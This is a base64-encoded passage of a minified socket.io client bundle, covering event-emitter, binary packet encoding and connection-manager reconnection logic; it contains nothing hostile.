b25zdHJ1Y3RpbmcgYSBwYWNrZXQiKTtuPXRoaXMucmVjb25zdHJ1Y3Rvci50YWtlQmluYXJ5RGF0YSh0KSxuJiYodGhpcy5yZWNvbnN0cnVjdG9yPW51bGwsdGhpcy5lbWl0KCJkZWNvZGVkIixuKSl9fSxzLnByb3RvdHlwZS5kZXN0cm95PWZ1bmN0aW9uKCl7dGhpcy5yZWNvbnN0cnVjdG9yJiZ0aGlzLnJlY29uc3RydWN0b3IuZmluaXNoZWRSZWNvbnN0cnVjdGlvbigpfSxwLnByb3RvdHlwZS50YWtlQmluYXJ5RGF0YT1mdW5jdGlvbih0KXtpZih0aGlzLmJ1ZmZlcnMucHVzaCh0KSx0aGlzLmJ1ZmZlcnMubGVuZ3RoPT09dGhpcy5yZWNvblBhY2suYXR0YWNobWVudHMpe3ZhciBlPWQucmVjb25zdHJ1Y3RQYWNrZXQodGhpcy5yZWNvblBhY2ssdGhpcy5idWZmZXJzKTtyZXR1cm4gdGhpcy5maW5pc2hlZFJlY29uc3RydWN0aW9uKCksZX1yZXR1cm4gbnVsbH0scC5wcm90b3R5cGUuZmluaXNoZWRSZWNvbnN0cnVjdGlvbj1mdW5jdGlvbigpe3RoaXMucmVjb25QYWNrPW51bGwsdGhpcy5idWZmZXJzPVtdfX0sZnVuY3Rpb24odCxlLG4pe2Z1bmN0aW9uIHIodCl7aWYodClyZXR1cm4gbyh0KX1mdW5jdGlvbiBvKHQpe2Zvcih2YXIgZSBpbiByLnByb3RvdHlwZSl0W2VdPXIucHJvdG90eXBlW2VdO3JldHVybiB0fXQuZXhwb3J0cz1yLHIucHJvdG90eXBlLm9uPXIucHJvdG90eXBlLmFkZEV2ZW50TGlzdGVuZXI9ZnVuY3Rpb24odCxlKXtyZXR1cm4gdGhpcy5fY2FsbGJhY2tzPXRoaXMuX2NhbGxiYWNrc3x8e30sKHRoaXMuX2NhbGxiYWNrc1siJCIrdF09dGhpcy5fY2FsbGJhY2tzWyIkIit0XXx8W10pLnB1c2goZSksdGhpc30sci5wcm90b3R5cGUub25jZT1mdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4oKXt0aGlzLm9mZih0LG4pLGUuYXBwbHkodGhpcyxhcmd1bWVudHMpfXJldHVybiBuLmZuPWUsdGhpcy5vbih0LG4pLHRoaXN9LHIucHJvdG90eXBlLm9mZj1yLnByb3RvdHlwZS5yZW1vdmVMaXN0ZW5lcj1yLnByb3RvdHlwZS5yZW1vdmVBbGxMaXN0ZW5lcnM9ci5wcm90b3R5cGUucmVtb3ZlRXZlbnRMaXN0ZW5lcj1mdW5jdGlvbih0LGUpe2lmKHRoaXMuX2NhbGxiYWNrcz10aGlzLl9jYWxsYmFja3N8fHt9LDA9PWFyZ3VtZW50cy5sZW5ndGgpcmV0dXJuIHRoaXMuX2NhbGxiYWNrcz17fSx0aGlzO3ZhciBuPXRoaXMuX2NhbGxiYWNrc1siJCIrdF07aWYoIW4pcmV0dXJuIHRoaXM7aWYoMT09YXJndW1lbnRzLmxlbmd0aClyZXR1cm4gZGVsZXRlIHRoaXMuX2NhbGxiYWNrc1siJCIrdF0sdGhpcztmb3IodmFyIHIsbz0wO288bi5sZW5ndGg7bysrKWlmKHI9bltvXSxyPT09ZXx8ci5mbj09PWUpe24uc3BsaWNlKG8sMSk7YnJlYWt9cmV0dXJuIHRoaXN9LHIucHJvdG90eXBlLmVtaXQ9ZnVuY3Rpb24odCl7dGhpcy5fY2FsbGJhY2tzPXRoaXMuX2NhbGxiYWNrc3x8e307dmFyIGU9W10uc2xpY2UuY2FsbChhcmd1bWVudHMsMSksbj10aGlzLl9jYWxsYmFja3NbIiQiK3RdO2lmKG4pe249bi5zbGljZSgwKTtmb3IodmFyIHI9MCxvPW4ubGVuZ3RoO3I8bzsrK3IpbltyXS5hcHBseSh0aGlzLGUpfXJldHVybiB0aGlzfSxyLnByb3RvdHlwZS5saXN0ZW5lcnM9ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuX2NhbGxiYWNrcz10aGlzLl9jYWxsYmFja3N8fHt9LHRoaXMuX2NhbGxiYWNrc1siJCIrdF18fFtdfSxyLnByb3RvdHlwZS5oYXNMaXN0ZW5lcnM9ZnVuY3Rpb24odCl7cmV0dXJuISF0aGlzLmxpc3RlbmVycyh0KS5sZW5ndGh9fSxmdW5jdGlvbih0LGUsbil7KGZ1bmN0aW9uKGUpe2Z1bmN0aW9uIHIodCl7aWYoIXR8fCJvYmplY3QiIT10eXBlb2YgdClyZXR1cm4hMTtpZihvKHQpKXtmb3IodmFyIG49MCxpPXQubGVuZ3RoO248aTtuKyspaWYocih0W25dKSlyZXR1cm4hMDtyZXR1cm4hMX1pZigiZnVuY3Rpb24iPT10eXBlb2YgZS5CdWZmZXImJmUuQnVmZmVyLmlzQnVmZmVyJiZlLkJ1ZmZlci5pc0J1ZmZlcih0KXx8ImZ1bmN0aW9uIj09dHlwZW9mIGUuQXJyYXlCdWZmZXImJnQgaW5zdGFuY2VvZiBBcnJheUJ1ZmZlcnx8cyYmdCBpbnN0YW5jZW9mIEJsb2J8fGEmJnQgaW5zdGFuY2VvZiBGaWxlKXJldHVybiEwO2lmKHQudG9KU09OJiYiZnVuY3Rpb24iPT10eXBlb2YgdC50b0pTT04mJjE9PT1hcmd1bWVudHMubGVuZ3RoKXJldHVybiByKHQudG9KU09OKCksITApO2Zvcih2YXIgYyBpbiB0KWlmKE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbCh0LGMpJiZyKHRbY10pKXJldHVybiEwO3JldHVybiExfXZhciBvPW4oMTApLGk9T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZyxzPSJmdW5jdGlvbiI9PXR5cGVvZiBlLkJsb2J8fCJbb2JqZWN0IEJsb2JDb25zdHJ1Y3Rvcl0iPT09aS5jYWxsKGUuQmxvYiksYT0iZnVuY3Rpb24iPT10eXBlb2YgZS5GaWxlfHwiW29iamVjdCBGaWxlQ29uc3RydWN0b3JdIj09PWkuY2FsbChlLkZpbGUpO3QuZXhwb3J0cz1yfSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpe3ZhciBuPXt9LnRvU3RyaW5nO3QuZXhwb3J0cz1BcnJheS5pc0FycmF5fHxmdW5jdGlvbih0KXtyZXR1cm4iW29iamVjdCBBcnJheV0iPT1uLmNhbGwodCl9fSxmdW5jdGlvbih0LGUsbil7KGZ1bmN0aW9uKHQpe2Z1bmN0aW9uIHIodCxlKXtpZighdClyZXR1cm4gdDtpZihzKHQpKXt2YXIgbj17X3BsYWNlaG9sZGVyOiEwLG51bTplLmxlbmd0aH07cmV0dXJuIGUucHVzaCh0KSxufWlmKGkodCkpe2Zvcih2YXIgbz1uZXcgQXJyYXkodC5sZW5ndGgpLGE9MDthPHQubGVuZ3RoO2ErKylvW2FdPXIodFthXSxlKTtyZXR1cm4gb31pZigib2JqZWN0Ij09dHlwZW9mIHQmJiEodCBpbnN0YW5jZW9mIERhdGUpKXt2YXIgbz17fTtmb3IodmFyIGMgaW4gdClvW2NdPXIodFtjXSxlKTtyZXR1cm4gb31yZXR1cm4gdH1mdW5jdGlvbiBvKHQsZSl7aWYoIXQpcmV0dXJuIHQ7aWYodCYmdC5fcGxhY2Vob2xkZXIpcmV0dXJuIGVbdC5udW1dO2lmKGkodCkpZm9yKHZhciBuPTA7bjx0Lmxlbmd0aDtuKyspdFtuXT1vKHRbbl0sZSk7ZWxzZSBpZigib2JqZWN0Ij09dHlwZW9mIHQpZm9yKHZhciByIGluIHQpdFtyXT1vKHRbcl0sZSk7cmV0dXJuIHR9dmFyIGk9bigxMCkscz1uKDEyKSxhPU9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcsYz0iZnVuY3Rpb24iPT10eXBlb2YgdC5CbG9ifHwiW29iamVjdCBCbG9iQ29uc3RydWN0b3JdIj09PWEuY2FsbCh0LkJsb2IpLHA9ImZ1bmN0aW9uIj09dHlwZW9mIHQuRmlsZXx8IltvYmplY3QgRmlsZUNvbnN0cnVjdG9yXSI9PT1hLmNhbGwodC5GaWxlKTtlLmRlY29uc3RydWN0UGFja2V0PWZ1bmN0aW9uKHQpe3ZhciBlPVtdLG49dC5kYXRhLG89dDtyZXR1cm4gby5kYXRhPXIobixlKSxvLmF0dGFjaG1lbnRzPWUubGVuZ3RoLHtwYWNrZXQ6byxidWZmZXJzOmV9fSxlLnJlY29uc3RydWN0UGFja2V0PWZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQuZGF0YT1vKHQuZGF0YSxlKSx0LmF0dGFjaG1lbnRzPXZvaWQgMCx0fSxlLnJlbW92ZUJsb2JzPWZ1bmN0aW9uKHQsZSl7ZnVuY3Rpb24gbih0LGEsdSl7aWYoIXQpcmV0dXJuIHQ7aWYoYyYmdCBpbnN0YW5jZW9mIEJsb2J8fHAmJnQgaW5zdGFuY2VvZiBGaWxlKXtyKys7dmFyIGg9bmV3IEZpbGVSZWFkZXI7aC5vbmxvYWQ9ZnVuY3Rpb24oKXt1P3VbYV09dGhpcy5yZXN1bHQ6bz10aGlzLnJlc3VsdCwtLXJ8fGUobyl9LGgucmVhZEFzQXJyYXlCdWZmZXIodCl9ZWxzZSBpZihpKHQpKWZvcih2YXIgZj0wO2Y8dC5sZW5ndGg7ZisrKW4odFtmXSxmLHQpO2Vsc2UgaWYoIm9iamVjdCI9PXR5cGVvZiB0JiYhcyh0KSlmb3IodmFyIGwgaW4gdCluKHRbbF0sbCx0KX12YXIgcj0wLG89dDtuKG8pLHJ8fGUobyl9fSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpeyhmdW5jdGlvbihlKXtmdW5jdGlvbiBuKHQpe3JldHVybiBlLkJ1ZmZlciYmZS5CdWZmZXIuaXNCdWZmZXIodCl8fGUuQXJyYXlCdWZmZXImJnQgaW5zdGFuY2VvZiBBcnJheUJ1ZmZlcn10LmV4cG9ydHM9bn0pLmNhbGwoZSxmdW5jdGlvbigpe3JldHVybiB0aGlzfSgpKX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiByKHQsZSl7aWYoISh0aGlzIGluc3RhbmNlb2YgcikpcmV0dXJuIG5ldyByKHQsZSk7dCYmIm9iamVjdCI9PT0oInVuZGVmaW5lZCI9PXR5cGVvZiB0PyJ1bmRlZmluZWQiOm8odCkpJiYoZT10LHQ9dm9pZCAwKSxlPWV8fHt9LGUucGF0aD1lLnBhdGh8fCIvc29ja2V0LmlvIix0aGlzLm5zcHM9e30sdGhpcy5zdWJzPVtdLHRoaXMub3B0cz1lLHRoaXMucmVjb25uZWN0aW9uKGUucmVjb25uZWN0aW9uIT09ITEpLHRoaXMucmVjb25uZWN0aW9uQXR0ZW1wdHMoZS5yZWNvbm5lY3Rpb25BdHRlbXB0c3x8MS8wKSx0aGlzLnJlY29ubmVjdGlvbkRlbGF5KGUucmVjb25uZWN0aW9uRGVsYXl8fDFlMyksdGhpcy5yZWNvbm5lY3Rpb25EZWxheU1heChlLnJlY29ubmVjdGlvbkRlbGF5TWF4fHw1ZTMpLHRoaXMucmFuZG9taXphdGlvbkZhY3RvcihlLnJhbmRvbWl6YXRpb25GYWN0b3J8fC41KSx0aGlzLmJhY2tvZmY9bmV3IGwoe21pbjp0aGlzLnJlY29ubmVjdGlvbkRlbGF5KCksbWF4OnRoaXMucmVjb25uZWN0aW9uRGVsYXlNYXgoKSxqaXR0ZXI6dGhpcy5yYW5kb21pemF0aW9uRmFjdG9yKCl9KSx0aGlzLnRpbWVvdXQobnVsbD09ZS50aW1lb3V0PzJlNDplLnRpbWVvdXQpLHRoaXMucmVhZHlTdGF0ZT0iY2xvc2VkIix0aGlzLnVyaT10LHRoaXMuY29ubmVjdGluZz1bXSx0aGlzLmxhc3RQaW5nPW51bGwsdGhpcy5lbmNvZGluZz0hMSx0aGlzLnBhY2tldEJ1ZmZlcj1bXTt2YXIgbj1lLnBhcnNlcnx8Yzt0aGlzLmVuY29kZXI9bmV3IG4uRW5jb2Rlcix0aGlzLmRlY29kZXI9bmV3IG4uRGVjb2Rlcix0aGlzLmF1dG9Db25uZWN0PWUuYXV0b0Nvbm5lY3QhPT0hMSx0aGlzLmF1dG9Db25uZWN0JiZ0aGlzLm9wZW4oKX12YXIgbz0iZnVuY3Rpb24iPT10eXBlb2YgU3ltYm9sJiYic3ltYm9sIj09dHlwZW9mIFN5bWJvbC5pdGVyYXRvcj9mdW5jdGlvbih0KXtyZXR1cm4gdHlwZW9mIHR9OmZ1bmN0aW9uKHQpe3JldHVybiB0JiYiZnVuY3Rpb24iPT10eXBlb2YgU3ltYm9sJiZ0LmNvbnN0cnVjdG9yPT09U3ltYm9sJiZ0IT09U3ltYm9sLnByb3RvdHlwZT8ic3ltYm9sIjp0eXBlb2YgdH0saT1uKDE0KSxzPW4oMzcpLGE9big4KSxjPW4oNykscD1uKDM5KSx1PW4oNDApLGg9bigzKSgic29ja2V0LmlvLWNsaWVudDptYW5hZ2VyIiksZj1uKDM2KSxsPW4oNDEpLGQ9T2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eTt0LmV4cG9ydHM9cixyLnByb3RvdHlwZS5lbWl0QWxsPWZ1bmN0aW9uKCl7dGhpcy5lbWl0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTtmb3IodmFyIHQgaW4gdGhpcy5uc3BzKWQuY2FsbCh0aGlzLm5zcHMsdCkmJnRoaXMubnNwc1t0XS5lbWl0LmFwcGx5KHRoaXMubnNwc1t0XSxhcmd1bWVudHMpfSxyLnByb3RvdHlwZS51cGRhdGVTb2NrZXRJZHM9ZnVuY3Rpb24oKXtmb3IodmFyIHQgaW4gdGhpcy5uc3BzKWQuY2FsbCh0aGlzLm5zcHMsdCkmJih0aGlzLm5zcHNbdF0uaWQ9dGhpcy5nZW5lcmF0ZUlkKHQpKX0sci5wcm90b3R5cGUuZ2VuZXJhdGVJZD1mdW5jdGlvbih0KXtyZXR1cm4oIi8iPT09dD8iIjp0KyIjIikrdGhpcy5lbmdpbmUuaWR9LGEoci5wcm90b3R5cGUpLHIucHJvdG90eXBlLnJlY29ubmVjdGlvbj1mdW5jdGlvbih0KXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD8odGhpcy5fcmVjb25uZWN0aW9uPSEhdCx0aGlzKTp0aGlzLl9yZWNvbm5lY3Rpb259LHIucHJvdG90eXBlLnJlY29ubmVjdGlvbkF0dGVtcHRzPWZ1bmN0aW9uKHQpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPyh0aGlzLl9yZWNvbm5lY3Rpb25BdHRlbXB0cz10LHRoaXMpOnRoaXMuX3JlY29ubmVjdGlvbkF0dGVtcHRzfSxyLnByb3RvdHlwZS5yZWNvbm5lY3Rpb25EZWxheT1mdW5jdGlvbih0KXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD8odGhpcy5fcmVjb25uZWN0aW9uRGVsYXk9dCx0aGlzLmJhY2tvZmYmJnRoaXMuYmFja29mZi5zZXRNaW4odCksdGhpcyk6dGhpcy5fcmVjb25uZWN0aW9uRGVsYXl9LHIucHJvdG90eXBlLnJhbmRvbWl6YXRpb25GYWN0b3I9ZnVuY3Rpb24odCl7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg/KHRoaXMuX3JhbmRvbWl6YXRpb25GYWN0b3I9dCx0aGlzLmJhY2tvZmYmJnRoaXMuYmFja29mZi5zZXRKaXR0ZXIodCksdGhpcyk6dGhpcy5fcmFuZG9taXphdGlvbkZhY3Rvcn0sci5wcm90b3R5cGUucmVjb25uZWN0aW9uRGVsYXlNYXg9ZnVuY3Rpb24odCl7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg/KHRoaXMuX3JlY29ubmVjdGlvbkRlbGF5TWF4PXQsdGhpcy5iYWNrb2ZmJiZ0aGlzLmJhY2tvZmYuc2V0TWF4KHQpLHRoaXMpOnRoaXMuX3JlY29ubmVjdGlvbkRlbGF5TWF4fSxyLnByb3RvdHlwZS50aW1lb3V0PWZ1bmN0aW9uKHQpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPyh0aGlzLl90aW1lb3V0PXQsdGhpcyk6dGhpcy5fdGltZW91dH0sci5wcm90b3R5cGUubWF5YmVSZWNvbm5lY3RPbk9wZW49ZnVuY3Rpb24oKXshdGhpcy5yZWNvbm5lY3RpbmcmJnRoaXMuX3JlY29ubmVjdGlvbiYmMD09PXRoaXMuYmFja29mZi5hdHRlbXB0cyYmdGhpcy5yZWNvbm5lY3QoKX0sci5wcm90b3R5cGUub3Blbj1yLnByb3RvdHlwZS5jb25uZWN0PWZ1bmN0aW9uKHQsZSl7aWYoaCgicmVhZHlTdGF0ZSAlcyIsdGhpcy5yZWFkeVN0YXRlKSx+dGhpcy5yZWFkeVN0YXRlLmluZGV4T2YoIm9wZW4iKSlyZXR1cm4gdGhpcztoKCJvcGVuaW5nICVzIix0aGlzLnVyaSksdGhpcy5lbmdpbmU9aSh0aGlzLnVyaSx0aGlzLm9wdHMpO3ZhciBuPXRoaXMuZW5naW5lLHI9dGhpczt0aGlzLnJlYWR5U3RhdGU9Im9wZW5pbmciLHRoaXMuc2tpcFJlY29ubmVjdD0hMTt2YXIgbz1wKG4sIm9wZW4iLGZ1bmN0aW9uKCl7ci5vbm9wZW4oKSx0JiZ0KCl9KSxzPXAobiwiZXJyb3IiLGZ1bmN0aW9uKGUpe2lmKGgoImNvbm5lY3RfZXJyb3IiKSxyLmNsZWFudXAoKSxyLnJlYWR5U3RhdGU9ImNsb3NlZCIsci5lbWl0QWxsKCJjb25uZWN0X2Vycm9yIixlKSx0KXt2YXIgbj1uZXcgRXJyb3IoIkNvbm5lY3Rpb24gZXJyb3IiKTtuLmRhdGE9ZSx0KG4pfWVsc2Ugci5tYXliZVJlY29ubmVjdE9uT3BlbigpfSk7aWYoITEhPT10aGlzLl90aW1lb3V0KXt2YXIgYT10aGlzLl90aW1lb3V0O2goImNvbm5lY3QgYXR0ZW1wdCB3aWxsIHRpbWVvdXQgYWZ0ZXIgJWQiLGEpO3ZhciBjPXNldFRpbWVvdXQoZnVuY3Rpb24oKXtoKCJjb25uZWN0IGF0dGVtcHQgdGltZWQgb3V0IGFmdGVyICVkIixhKSxvLmRlc3Ryb3koKSxuLmNsb3NlKCksbi5lbWl0KCJlcnJvciIsInRpbWVvdXQiKSxyLmVtaXRBbGwoImNvbm5lY3RfdGltZW91dCIsYSl9LGEpO3RoaXMuc3Vicy5wdXNoKHtkZXN0cm95OmZ1bmN0aW9uKCl7Y2xlYXJUaW1lb3V0KGMpfX0pfXJldHVybiB0aGlzLnN1YnMucHVzaChvKSx0aGlzLnN1YnMucHVzaChzKSx0aGlzfSxyLnByb3RvdHlwZS5vbm9wZW49ZnVuY3Rpb24oKXtoKCJvcGVuIiksdGhpcy5jbGVhbnVwKCksdGhpcy5yZWFkeVN0YXRlPSJvcGVuIix0aGlzLmVtaXQoIm9wZW4iKTt2YXIgdD10aGlzLmVuZ2luZTt0aGlzLnN1YnMucHVzaChwKHQsImRhdGEiLHUodGhpcywib25kYXRhIikpKSx0aGlzLnN1YnMucHVzaChwKHQsInBpbmciLHUodGhpcywib25waW5nIikpKSx0aGlzLnN1YnMucHVzaChwKHQsInBvbmciLHUodGhpcywib25wb25nIikpKSx0aGlzLnN1YnMucHVzaChwKHQsImVycm9yIix1KHRoaXMsIm9uZXJyb3IiKSkpLHRoaXMuc3Vicy5wdXNoKHAodCwiY2xvc2UiLHUodGhpcywib25jbG9zZSIpKSksdGhpcy5zdWJzLnB1c2gocCh0aGlzLmRlY29kZXIsImRlY29kZWQiLHUodGhpcywib25kZWNvZGVkIikpKX0sci5wcm90b3R5cGUub25waW5nPWZ1bmN0aW9uKCl7dGhpcy5sYXN0UGluZz1uZXcgRGF0ZSx0aGlzLmVtaXRBbGwoInBpbmciKX0sci5wcm90b3R5cGUub25wb25nPWZ1bmN0aW9uKCl7dGhpcy5lbWl0QWxsKCJwb25nIixuZXcgRGF0ZS10aGlzLmxhc3RQaW5nKX0sci5wcm90b3R5cGUub25kYXRhPWZ1bmN0aW9uKHQpe3RoaXMuZGVjb2Rlci5hZGQodCl9LHIucHJvdG90eXBlLm9uZGVjb2RlZD1mdW5jdGlvbih0KXt0aGlzLmVtaXQoInBhY2tldCIsdCl9LHIucHJvdG90eXBlLm9uZXJyb3I9ZnVuY3Rpb24odCl7aCgiZXJyb3IiLHQpLHRoaXMuZW1pdEFsbCgiZXJyb3IiLHQpfSxyLnByb3RvdHlwZS5zb2NrZXQ9ZnVuY3Rpb24odCxlKXtmdW5jdGlvbiBuKCl7fmYoby5jb25uZWN0aW5nLHIpfHxvLmNvbm5lY3RpbmcucHVzaChyKX12YXIgcj10aGlzLm5zcHNbdF07aWYoIXIpe3I9bmV3IHModGhpcyx0LGUpLHRoaXMubnNwc1t0XT1yO3ZhciBvPXRoaXM7ci5vbigiY29ubmVjdGluZyIsbiksci5vbigiY29ubmVjdCIsZnVuY3Rpb24oKXtyLmlkPW8uZ2VuZXJhdGVJZCh0KX0pLHRoaXMuYXV0b0Nvbm5lY3QmJm4oKX1yZXR1cm4gcn0sci5wcm90b3R5cGUuZGVzdHJveT1mdW5jdGlvbih0KXt2YXIgZT1mKHRoaXMuY29ubmVjdGluZyx0KTt+ZSYmdGhpcy5jb25uZWN0aW5nLnNwbGljZShlLDEpLHRoaXMuY29ubmVjdGluZy5sZW5ndGh8fHRoaXMuY2xvc2UoKX0sci5wcm90b3R5cGUucGFja2V0PWZ1bmN0aW9uKHQpe2goIndyaXRpbmcgcGFja2V0ICVqIix0KTt2YXIgZT10aGlzO3QucXVlcnkmJjA9PT10LnR5cGUmJih0Lm5zcCs9Ij8iK3QucXVlcnkpLGUuZW5jb2Rpbmc/ZS5wYWNrZXRCdWZmZXIucHVzaCh0KTooZS5lbmNvZGluZz0hMCx0aGlzLmVuY29kZXIuZW5jb2RlKHQsZnVuY3Rpb24obil7Zm9yKHZhciByPTA7cjxuLmxlbmd0aDtyKyspZS5lbmdpbmUud3JpdGUobltyXSx0Lm9wdGlvbnMpO2UuZW5jb2Rpbmc9ITEsZS5wcm9jZXNzUGFja2V0UXVldWUoKX0pKX0sci5wcm90b3R5cGUucHJvY2Vzc1BhY2tldFF1ZXVlPWZ1bmN0aW9uKCl7aWYodGhpcy5wYWNrZXRCdWZmZXIubGVuZ3RoPjAmJiF0aGlzLmVuY29kaW5nKXt2YXIgdD10aGlzLnBhY2tldEJ1ZmZlci5zaGlmdCgpO3RoaXMucGFja2V0KHQpfX0sci5wcm90b3R5cGUuY2xlYW51cD1mdW5jdGlvbigpe2goImNsZWFudXAiKTtmb3IodmFyIHQ9dGhpcy5zdWJzLmxlbmd0aCxlPTA7ZTx0O2UrKyl7dmFyIG49dGhpcy5zdWJzLnNoaWZ0KCk7bi5kZXN0cm95KCl9dGhpcy5wYWNrZXRCdWZmZXI9W10sdGhpcy5lbmNvZGluZz0hMSx0aGlzLmxhc3RQaW5nPW51bGwsdGhpcy5kZWNvZGVyLmRlc3Ryb3koKX0sci5wcm90b3R5cGUuY2xvc2U9ci5wcm90b3R5cGUuZGlzY29ubmVjdD1mdW5jdGlvbigpe2goImRpc2Nvbm5lY3QiKSx0aGlzLnNraXBSZWNvbm5lY3Q9ITAsdGhpcy5yZWNvbm5lY3Rpbmc9ITEsIm9wZW5pbmciPT09dGhpcy5yZWFkeVN0YXRlJiZ0aGlzLmNsZWFudXAoKSx0aGlzLmJhY2tvZmYucmVzZXQoKSx0aGlzLnJlYWR5U3RhdGU9ImNsb3NlZCIsdGhpcy5lbmdpbmUmJnRoaXMuZW5naW5lLmNsb3NlKCl9LHIucHJvdG90eXBlLm9uY2xvc2U9ZnVuY3Rpb24odCl7aCgib25jbG9zZSIpLHRoaXMuY2xlYW51cCgpLHRoaXMuYmFja29mZi5yZXNldCgpLHRoaXMucmVhZHlTdGF0ZT0iY2xvc2VkIix0aGlzLmVtaXQoImNsb3NlIix0KSx0aGlzLl9yZWNvbm5lY3Rpb24mJiF0aGlzLnNraXBSZWNvbm5lY3QmJnRoaXMucmVjb25uZWN0KCl9LHIucHJvdG90eXBlLnJlY29ubmVjdD1mdW5jdGlvbigpe2lmKHRoaXMucmVjb25uZWN0aW5nfHx0aGlzLnNraXBSZWNvbm5lY3QpcmV0dXJuIHRoaXM7dmFyIHQ9dGhpcztpZih0aGlzLmJhY2tvZmYuYXR0ZW1wdHM+PXRoaXMuX3JlY29ubmVjdGlvbkF0dGVtcHRzKWgoInJlY29ubmVjdCBmYWlsZWQiKSx0aGlzLmJhY2tvZmYucmVzZXQoKSx0aGlzLmVtaXRBbGwoInJlY29ubmVjdF9mYWlsZWQiKSx0aGlzLnJlY29ubmVjdGluZz0hMTtlbHNle3ZhciBlPXRoaXMuYmFja29mZi5kdXJhdGlvbigpO2goIndpbGwgd2FpdCAlZG1zIGJlZm9yZSByZWNvbm5lY3QgYXR0ZW1wdCIsZSksdGhpcy5yZWNvbm5lY3Rpbmc9ITA7dmFyIG49c2V0VGltZW91dChmdW5jdGlvbigpe3Quc2tpcFJlY29ubmVjdHx8KGgoImF0dGVtcHRpbmcgcmVjb25uZWN0IiksdC5lbWl0QWxsKCJyZWNvbm5lY3RfYXR0ZW1wdCIsdC5iYWNrb2ZmLmF0dGVtcHRzKSx0LmVtaXRBbGwoInJlY29ubmVjdGluZyIsdC5iYWNrb2ZmLmF0dGVtcHRzKSx0LnNraXBSZWNvbm5lY3R8fHQub3BlbihmdW5jdGlvbihlKXtlPyhoKCJyZWNvbm5lY3QgYXR0ZW1wdCBlcnJvciIpLHQucmVjb25uZWN0aW5nPSExLHQucmVjb25uZWN0KCksdC5lbWl0QWxsKCJyZWNvbm5lY3RfZXJyb3IiLGUuZGF0YSkpOihoKCJyZWNvbm5lY3Qgc3VjY2VzcyIpLHQub25yZWNvbm5lY3QoKSl9KSl9LGUpO3RoaXMuc3Vicy5wdXNoKHtkZXN0cm95OmZ1bmN0aW9uKCl7Y2xlYXJUaW1lb3V0KG4pfX0pfX0sci5wcm90b3R5cGUub25yZWNvbm5lY3Q9ZnVuY3Rpb24oKXt2YXIgdD10aGlzLmJhY2tvZmYuYXR0ZW1wdHM7dGhpcy5yZWNvbm5lY3Rpbmc9ITEsdGhpcy5iYWNrb2ZmLnJlc2V0KCksdGhpcy51cGRhdGVTb2NrZXRJZHMoKSx0aGlzLmVtaXRBbGwoInJlY29ubmVjdCIsdCl9fSxmdW5jdGlvbih0LGUsbil7dC5leHBvcnRzPW4oMTUpLHQuZXhwb3J0cy5wYXJzZXI9bigyMil9LGZ1bmN0aW9uKHQsZSxuKXsoZnVuY3Rpb24oZSl7ZnVuY3Rpb24gcih0LG4pe2lmKCEodGhpcyBpbnN0YW5jZW9mIHIpKXJldHVybiBuZXcgcih0LG4pO249bnx8e30sdCYmIm9iamVjdCI9PXR5cGVvZiB0JiYobj10LHQ9bnVsbCksdD8odD11KHQpLG4uaG9zdG5hbWU9dC5ob3N0LG4uc2VjdXJlPSJodHRwcyI9PT10LnByb3RvY29sfHwid3NzIj09PXQucHJvdG9jb2wsbi5wb3J0PXQucG9ydCx0LnF1ZXJ5JiYobi5xdWVyeT10LnF1ZXJ5KSk6bi5ob3N0JiYobi5ob3N0bmFtZT11KG4uaG9zdCkuaG9zdCksdGhpcy5zZWN1cmU9bnVsbCE9bi5zZWN1cmU/bi5zZWN1cmU6ZS5sb2NhdGlvbiYmImh0dHBzOiI9PT1sb2NhdGlvbi5wcm90b2NvbCxuLmhvc3RuYW1lJiYhbi5wb3J0JiYobi5wb3J0PXRoaXMuc2VjdXJlPyI0NDMiOiI4MCIpLHRoaXMuYWdlbnQ9bi5hZ2VudHx8ITEsdGhpcy5ob3N0bmFtZT1uLmhvc3RuYW1lfHwoZS5sb2NhdGlvbj9sb2NhdGlvbi5ob3N0bmFtZToibG9jYWxob3N0IiksdGhpcy5wb3J0PW4ucG9ydHx8KGUubG9jYXRpb24mJmxvY2F0aW9uLnBvcnQ/bG9jYXRpb24ucG9ydDp0aGlzLnNlY3VyZT80NDM6ODApLHRoaXMucXVlcnk9bi5xdWVyeXx8e30sInN0cmluZyI9PXR5cGVvZiB0aGlzLnF1ZXJ5JiYodGhpcy5xdWVyeT1oLmRlY29kZSh0aGlzLnF1ZXJ5KSksdGhpcy51cGdyYWRlPSExIT09bi51cGdyYWRlLHRoaXMucGF0aD0obi5wYXRofHwiL2VuZ2luZS5pbyIpLnJlcGxhY2UoL1wvJC8sIiIpKyIvIix0aGlzLmZvcmNlSlNPTlA9ISFuLmZvcmNlSlNPTlAsdGhpcy5qc29ucD0hMSE9PW4uanNvbnAsdGhpcy5mb3JjZUJhc2U2ND0hIW4uZm9yY2VCYXNlNjQsdGhpcy5lbmFibGVzWERSPSEhbi5lbmFibGVzWERSLHRoaXMudGltZXN0YW1wUGFyYW09bi50aW1lc3RhbXBQYXJhbXx8InQiLHRoaXMudGltZXN0YW1wUmVxdWVzdHM9bi50aW1lc3RhbXBSZXF1ZXN0cyx0aGlzLnRyYW5zcG9ydHM9bi50cmFuc3BvcnRzfHxbInBvbGxpbmciLCJ3ZWJzb2NrZXQiXSx0aGlzLnRyYW5zcG9ydE9wdGlvbnM9bi50cmFuc3BvcnRPcHRpb25zfHx7fSx0aGlzLnJlYWR5U3RhdGU9IiIsdGhpcy53cml0ZUJ1ZmZlcj1bXSx0aGlzLnByZXZCdWZmZXJMZW49MCx0aGlzLnBvbGljeVBvcnQ9bi5wb2xpY3lQb3J0fHw